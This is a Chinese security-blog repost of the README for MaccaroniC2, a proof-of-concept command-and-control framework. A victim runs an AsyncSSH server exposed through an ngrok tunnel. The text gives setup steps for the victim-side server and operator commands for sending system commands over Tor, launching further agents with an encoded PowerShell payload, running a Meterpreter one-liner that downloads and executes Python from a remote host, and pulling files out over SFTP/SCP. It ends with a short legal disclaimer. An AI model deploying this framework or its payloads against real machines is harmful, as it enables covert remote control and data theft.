MaccaroniC2 - 使用 AsyncSSH 增强命令和控制能力

admin 2023年11月28日17:41:08评论25 views字数 2216阅读7分23秒阅读模式

MaccaroniC2 - 使用 AsyncSSH 增强命令和控制能力

MaccaroniC2是一个概念验证 命令和控制框架,它利用强大的AsyncSSHPython 库,提供 SSHv2 协议的异步客户端和服务器实现,并使用PyNgrok包装器进行ngrok集成。该工具的灵感来自于特定场景,其中受害者运行 AsyncSSH 服务器并建立到外部的隧道,准备接收攻击者的命令。

攻击者利用Ngrok official API检索隧道的主机名和端口来建立连接。此方法利用AsyncSSH提供的全面功能,包括其对SFTP和的集成支持SCP,促进安全高效的数据泄露等。

此外,攻击者可以使用 SOCKS 代理发送和执行系统命令,利用所提供的好处,例如,用于TOR增强匿名性。

  • Ngrok 免费帐户一次只允许使用一个隧道。经过一些更改,该工具可能非常适合类似 BOT 的 C&C 框架来控制多个 SSH 实例,但您需要在 Ngrok 网站上升级您的计划,请参阅https://ngrok.com/pricing


设置和程序

  1. 运行python3 gen_rsa.py以生成一对 SSH 密钥。id_rsa攻击者使用新生成的文件连接到受害者计算机上运行的服务器。

  2. 编辑asyncssh_server.py文件并将新生成的内容放置在变量id_rsa.pubpub_key它们asyncssh_server.py提供了具有 SFTP 和 SCP 功能的 SSHv2 协议的实现。这是受害者运行的脚本。

  3. 在 Ngrok 网站上创建一个免费帐户并记下令牌AUTH

  4. AUTH标记添加到token中的变量中asyncssh_server.py,这需要在ngrok_tunnel()函数内部进行编码。

  5. API在 Ngrok 网站上创建免费密钥。记下生成的字符串。

  6. API密钥字符串放入文件api_key内的变量中async_commander.py这使我们能够在自动化过程中自动检索活动隧道的 Ngrok 域和端口。

  7. 对文件执行相同的步骤get_endpoints.py该脚本检索有关活动隧道的各种有用信息。


发送命令到服务器

您可以向async_commander.py服务器发送任何命令。它会使用 Ngrok 官方 API自动请求受害者激活的 Ngrok 隧道的域和端口。

另请注意,需要id_rsa位于同一文件夹中async_commander.py


基本用法

在受害机器上运行服务器:

python3 asyncssh_server.py

从攻击者机器使用socks代理发送命令:

python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050

不使用代理发送命令:

python3 asyncssh_commander.py "whoami"

生成另一个 C2 代理(Powershell-Empire、Meterpreter 等):

python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"

Meterpreter web_delivery 模块

python3 asyncssh_commander.py "python3 -c "import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());""

获取活动隧道列表:

python3 get_endpoints.py

生成新的 RSA 密钥对:

python3 gen_rsa.py


高级用法

使用SFTPand SCP- 您不需要有效的用户名,只需正确的用户名id_rsa

  • 使用代理:

proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOSTscp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path


  • 无代理:

sftp -P PORT -i id_rsa ddddd@NGROK_HOSTscp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path

使用 Nuitka 编译

python -m pip install nuitkapython -m nuitka --standalone --onefile asyncssh_server.py

项目地址:

https://github.com/CalfCrusher/MaccaroniC2

武器化服务器

https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py

免责声明:该工具仅用于测试和教育目的。它只能在具有适当授权的系统上使用。严禁任何未经授权或非法使用此工具的行为。该工具的创建者对其使用造成的任何误用或损坏不承担任何责任。使用此工具时请确保遵守适用的法律和法规。

原文始发于微信公众号(TtTeam):MaccaroniC2 - 使用 AsyncSSH 增强命令和控制能力

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日17:41:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MaccaroniC2 - 使用 AsyncSSH 增强命令和控制能力https://cn-sec.com/archives/2248157.html

发表评论

匿名网友 填写信息